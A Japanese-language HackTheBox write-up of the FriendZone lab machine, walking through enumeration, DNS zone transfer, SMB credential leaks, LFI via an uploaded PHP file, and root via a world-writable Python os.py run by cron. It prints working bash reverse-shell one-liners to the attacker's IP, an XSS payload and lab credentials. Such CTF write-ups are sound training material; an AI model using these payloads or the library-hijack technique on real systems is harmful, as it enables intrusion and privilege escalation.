🌊

【HackTheBox】FriendZone WriteUp

2023/02/26に公開

はじめに

今回はlinux boxのFriendZoneをやっていきます。ドメインをちゃんと調べる必要があり、新しく学ぶことが多かったです。
https://app.hackthebox.com/machines/173

やること

  1. ポートスキャン, httpsがfriendzone.redドメインであることがわかります。
  2. httpを確認します。websiteの中にfriendzoneportal.redという文字列があります。
  3. httpsも確認します。ソースコードにjsについて書いてあります。
  4. smbはreadとwriteができるシェアがあります。何かアップロードできるかもしれません。
  5. smbにパスワード情報がありました。
  6. digでドメインを調べます。
  7. 新たに出てきたwebsiteを調べます。
  8. LFIができることを確認します。
  9. リバースシェルを取ります (user flag)
  10. www-dataからfriendに移ります。sql confファイルにパスワードがあります。
  11. pspyを使ってcron jobが動いているか確認します。
  12. pythonコードを調べます。何か使えそうなコードやライブラリがないかに注目します。
  13. pythonライブラリフォルダにwritableなファイルがあります。少し書き換えてrootでshellを送れるようにします。
  14. kaliマシンでncで待ち受けてcron jobを待ちます。
  15. 攻略完了です。(root flag)

Enumeration

Nmapポートスキャン

nmap -sC -sV friendzone.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 21:59 EST
Nmap scan report for friendzone.htb (10.129.88.74)
Host is up (0.092s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
|   256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_  256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-title: 404 Not Found
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -40m02s, deviation: 1h09m16s, median: -3s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-02-25T02:59:46
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2023-02-25T04:59:46+02:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.46 seconds
                                                               

port 443 friendzone.redと書いてあります。etc/hostsに追加しておきます。

Gobuster http

gobuster dir -u http://friendzone.htb/ --wordlist /usr/share/wordlis
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://friendzone.htb/
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-li
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/24 22:02:14 Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 320] [--> http://friendzone.htb/wordpress/]                                                          
Progress: 141570 / 141709 (99.90%)
===============================================================
2023/02/24 22:03:47 Finished
=============================================================== 

wordpressがありますね。

Gobuster https

gobuster dir -u https://friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -t 150

with -k option we can skip certification
we would get something like this if we dont skip it.

Error: error on running gobuster: unable to connect to https://friendzone.red/: invalid certificate: x509: certificate has expired or is not yet valid: current time 2023-02-25T07:46:50-05:00 is after 2018-11-04T21:02:30Z
/admin                (Status: 301) [Size: 318] [--> https://friendzone.red/admin/]
/js                   (Status: 301) [Size: 315] [--> https://friendzone.red/js/]

httpsも調べましょう、adminとjsがあります。

FTP port 21

Anonymousでログインできませんでした。

Http port 80

見ていきます。

friendzone.htb/

friendzoneportal.red???

/wordpress

Https port 443


ソースコードを見ます。

/js/js


なにやら文字列が出てきました。

WElMa3JQdG5vYTE2NzczMTE3NzUxNW9IR0ZlUkpp

/admin

Samba port 445

smbmap

smbmap -H friendzone.htb   
[+] Guest session       IP: friendzone.htb:445  Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        Files                                                   NO ACCESS       FriendZone Samba Server Files /etc/Files
        general                                                 READ ONLY       FriendZone Samba Server Files
        Development                                             READ, WRITE     FriendZone Samba Server Files
        IPC$                                                    NO ACCESS       IPC Service (FriendZone server (Samba, Ubuntu))
                                                              

readonly:general
Read and write:Development

smbclient

smbclient -N -L //friendzone.htb

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        Files           Disk      FriendZone Samba Server Files /etc/Files
        general         Disk      FriendZone Samba Server Files
        Development     Disk      FriendZone Samba Server Files
        IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        HTB                  LEGACY
        WORKGROUP            FRIENDZONE
                                              

Development

smbclient -N //friendzone.htb/Development
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Feb 24 22:11:07 2023
  ..                                  D        0  Tue Sep 13 10:56:24 2022

                3545824 blocks of size 1024. 1622184 blocks available

特に何もありませんでした。

general

smbclient -N //friendzone.htb/general    
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 16 15:10:51 2019
  ..                                  D        0  Tue Sep 13 10:56:24 2022
  creds.txt                           N       57  Tue Oct  9 19:52:42 2018

                3545824 blocks of size 1024. 1622184 blocks available

credsはいいですね。
Creds.txt

cat creds.txt       
creds for the admin THING:
admin:WORKWORKHhallelujah@#

Check domain

friendzone.htb

digでドメイン情報を調べます。

dig axfr friendzone.htb @10.129.209.64

; <<>> DiG 9.18.11-2-Debian <<>> axfr friendzone.htb @10.129.209.64
;; global options: +cmd
; Transfer failed.

何もありませんでした。

friendzone.red

他にも調べます。

dig axfr friendzone.red @10.129.88.74

; <<>> DiG 9.18.11-2-Debian <<>> axfr friendzone.red @10.129.88.74
;; global options: +cmd
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.         604800  IN      AAAA    ::1
friendzone.red.         604800  IN      NS      localhost.
friendzone.red.         604800  IN      A       127.0.0.1
administrator1.friendzone.red. 604800 IN A      127.0.0.1
hr.friendzone.red.      604800  IN      A       127.0.0.1
uploads.friendzone.red. 604800  IN      A       127.0.0.1
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 88 msec
;; SERVER: 10.129.88.74#53(10.129.88.74) (TCP)
;; WHEN: Fri Feb 24 22:36:08 EST 2023
;; XFR size: 8 records (messages 1, bytes 289)

たくさん出てきましたね。以下をetc/hostsに追加します。
administrator1.friendzone.red, hr.friendzone.red, uploads.friendzone.red

administrator1.friendzone.red

dig axfr administrator1.friendzone.red @10.129.209.64

; <<>> DiG 9.18.11-2-Debian <<>> axfr administrator1.friendzone.red @10.129.209.64
;; global options: +cmd
; Transfer failed.

特に何もありませんでした。

hr.friendzone.red

dig axfr hr.friendzone.red @10.129.209.64

; <<>> DiG 9.18.11-2-Debian <<>> axfr hr.friendzone.red @10.129.209.64
;; global options: +cmd
; Transfer failed.

特に何もありませんでした。

uploads.friendzone.red

dig axfr uploads.friendzone.red @10.129.209.64

; <<>> DiG 9.18.11-2-Debian <<>> axfr uploads.friendzone.red @10.129.209.64
;; global options: +cmd
; Transfer failed.

特に何もありませんでした。

friendzoneportal.red

dig axfr friendzoneportal.red @10.129.209.64

; <<>> DiG 9.18.11-2-Debian <<>> axfr friendzoneportal.red @10.129.209.64
;; global options: +cmd
friendzoneportal.red.   604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red.   604800  IN      AAAA    ::1
friendzoneportal.red.   604800  IN      NS      localhost.
friendzoneportal.red.   604800  IN      A       127.0.0.1
admin.friendzoneportal.red. 604800 IN   A       127.0.0.1
files.friendzoneportal.red. 604800 IN   A       127.0.0.1
imports.friendzoneportal.red. 604800 IN A       127.0.0.1
vpn.friendzoneportal.red. 604800 IN     A       127.0.0.1
friendzoneportal.red.   604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 188 msec
;; SERVER: 10.129.209.64#53(10.129.209.64) (TCP)
;; WHEN: Sat Feb 25 07:20:44 EST 2023
;; XFR size: 9 records (messages 1, bytes 309)

いろいろありますね

/etc/hosts

最終的に以下を追加しました。

10.129.209.64 friendzone.htb friendzone.red friendzoneportal.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red

他のサブドメインを調べる

friendzoneportal.red

administrator1.friendzone.red

ログインしてみます

admin:WORKWORKHhallelujah@#

dashboard.php

デフォルトイメージ

デフォルトイメージについて言及されていたのでそれを調べます。

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp


timestampがなんだかと下にありますね。
Final Access timestamp is 1677335106

gobuster

再度gobusterします。

gobuster dir -u https://administrator1.friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -t 150
/images         

phpも調べます

gobuster dir -u https://administrator1.friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -x php -t 150

/.php                 (Status: 403) [Size: 309]
/images               (Status: 301) [Size: 349] [--> https://administrator1.friendzone.red/images/]
/dashboard.php        (Status: 200) [Size: 101]
/login.php            (Status: 200) [Size: 7]
/timestamp.php        (Status: 200) [Size: 36]

いろいろ出てきました。

hr.friendzone.red

uploads.friendzone.red

admin.friendzoneportal.red

ログインしてみます

admin:WORKWORKHhallelujah@#

files.friendzoneportal.red

404

imports.friendzoneportal.red

404

vpn.friendzoneportal.red

404

Foothold

パラメータを調べる

jpgの名前をいろいろ変えてみます。

view-source:https://administrator1.friendzone.red/dashboard.php?image_id=d.jpg
<img src='images/d.jpg'>

xssが使える

以下のようなものが使えます。

a.jpg'><script>alert('xss')</script>
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg%27%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E

二つ目のパラメータ

以下を見てみます。
//administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

timestamp.phpというファイルの中身をdashboardでは表示しているのでしょうか?

/dashboard.php?image_id=a.jpg&pagename=login

ディレクトリ移動はできるのでしょうか?

他のphpファイルを調べる

uploads.friendzone.red/upload.php

curlしてみます。

curl https://uploads.friendzone.red/upload.php -k  
WHAT ARE YOU TRYING TO DO HOOOOOOMAN ! 

admin.friendzoneportal.red/login.php

curl https://admin.friendzone.red/login.php -k
Redirecting

再度gobuster

gobuster dir -u https://uploads.friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -t 150

特に面白いものはありませんでした。

ファイルのアップロード

Filesという名前のshareは/etc/Filesにあるようです。なのでファイルをアップロードした際は、/etc/Development/filesあたりにあるかもしれません。
以下のテストファイルを作成してアップロードします。

<?php echo 'test'; ?>
smbclient -N //friendzone.htb/Development   
Try "help" to get a list of possible commands.
smb: \> put test.php
putting file test.php as \test.php (0.0 kb/s) (average 0.0 kb/s)
smb: \> ls
  .                                   D        0  Sat Feb 25 09:39:48 2023
  ..                                  D        0  Tue Sep 13 10:56:24 2022
  test.php                            A       22  Sat Feb 25 09:39:49 2023

                3545824 blocks of size 1024. 1537504 blocks available

このファイルを表示できるか確かめます。

https://administrator1.friendzone.red/dashboard.php?image_id=1.jpg&pagename=/etc/Development/test

表示することができました!

Reverse shell

リバースシェルをアップロードします。
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

smbclient -N //friendzone.htb/Development   
Try "help" to get a list of possible commands.
smb: \> put revshell.php
cli_push returned NT_STATUS_IO_TIMEOUT

大きすぎてダメみたいですね。小さいのを試します。

cat revshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.26/1234 0>&1'");?>
https://administrator1.friendzone.red/dashboard.php?image_id=1.jpg&pagename=/etc/Development/revshell
nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.209.64] 52178
bash: cannot set terminal process group (750): Inappropriate ioctl for device
bash: no job control in this shell
www-data@FriendZone:/var/www/admin$ 

www-dataになることができました!

Flag

www-data@FriendZone:/home/friend$ cat user.txt
cat user.txt

Privilege escalation

Enumeration

シェルのアップグレードをします。

python -c 'import pty; pty.spawn("/bin/bash")'

www-data to friend

mysql_data.conf

www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

suでfriendになることができます。sshで入りなおすこともできます。

sudo -l

friend@FriendZone:/var/www$ sudo -l
sudo -l
[sudo] password for friend: Agpyu12!0.213$

Sorry, user friend may not run sudo on FriendZone.

sudo -lはダメみたいですね。

pspy

pspyでcron jobがあるか確かめます。

2023/02/26 05:42:01 CMD: UID=0     PID=9320   | /bin/sh -c /opt/server_admin/reporter.py                                                        
2023/02/26 05:42:01 CMD: UID=0     PID=9319   | /bin/sh -c /opt/server_admin/reporter.py                                                        
2023/02/26 05:42:01 CMD: UID=0     PID=9318   | /usr/sbin/CRON -f 
2023/02/26 05:42:01 CMD: UID=0     PID=9321   | /usr/bin/python /opt/server_admin/reporter.py                                                   
2023/02/26 05:42:01 CMD: UID=0     PID=9322   | /bin/bash -c bash -i >& /dev/tcp/10.10.14.26/1234 0>&1                                          
2023/02/26 05:42:01 CMD: UID=0     PID=9323   | /bin/bash -c bash -i >& /dev/tcp/10.10.14.26/1234 0>&1                                          

reporter.pyが走っていることがわかります。reporter.pyになにかを仕込むことができればよさそうです。

python

reporter.pyを見ていきます。

friend@FriendZone:/opt/server_admin$ cat reporter.py
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

触れそうなところはosくらいでしょうか??

friend@FriendZone:/usr/lib/python2.7$ ls -la |grep os
-rwxr-xr-x  1 root   root     4635 Apr 16  2018 os2emxpath.py
-rwxr-xr-x  1 root   root     4507 Oct  6  2018 os2emxpath.pyc
-rwxrwxrwx  1 root   root    25910 Jan 15  2019 os.py
-rw-rw-r--  1 friend friend  25583 Jan 15  2019 os.pyc
-rwxr-xr-x  1 root   root    19100 Apr 16  2018 _osx_support.py
-rwxr-xr-x  1 root   root    11720 Oct  6  2018 _osx_support.pyc
-rwxr-xr-x  1 root   root     8003 Apr 16  2018 posixfile.py
-rwxr-xr-x  1 root   root     7628 Oct  6  2018 posixfile.pyc
-rwxr-xr-x  1 root   root    13935 Apr 16  2018 posixpath.py
-rwxr-xr-x  1 root   root    11385 Oct  6  2018 posixpath.pyc

os.pyに書き込みが許されていますね

特権昇格

os.pyの最後に文章を追加します。

...
try:
    _copy_reg.pickle(statvfs_result, _pickle_statvfs_result,
                     _make_statvfs_result)
except NameError: # statvfs_result may not exist
    pass
------------------------以下を追加-----------------------------
import os
os.system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.26/1234 0>&1'")

kaliでリッスンします。

nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.209.64] 52496
bash: cannot set terminal process group (4972): Inappropriate ioctl for device
bash: no job control in this shell
root@FriendZone:~# 

ルート権限が取れました!あとはフラグを提出しておしまいです!

Discussion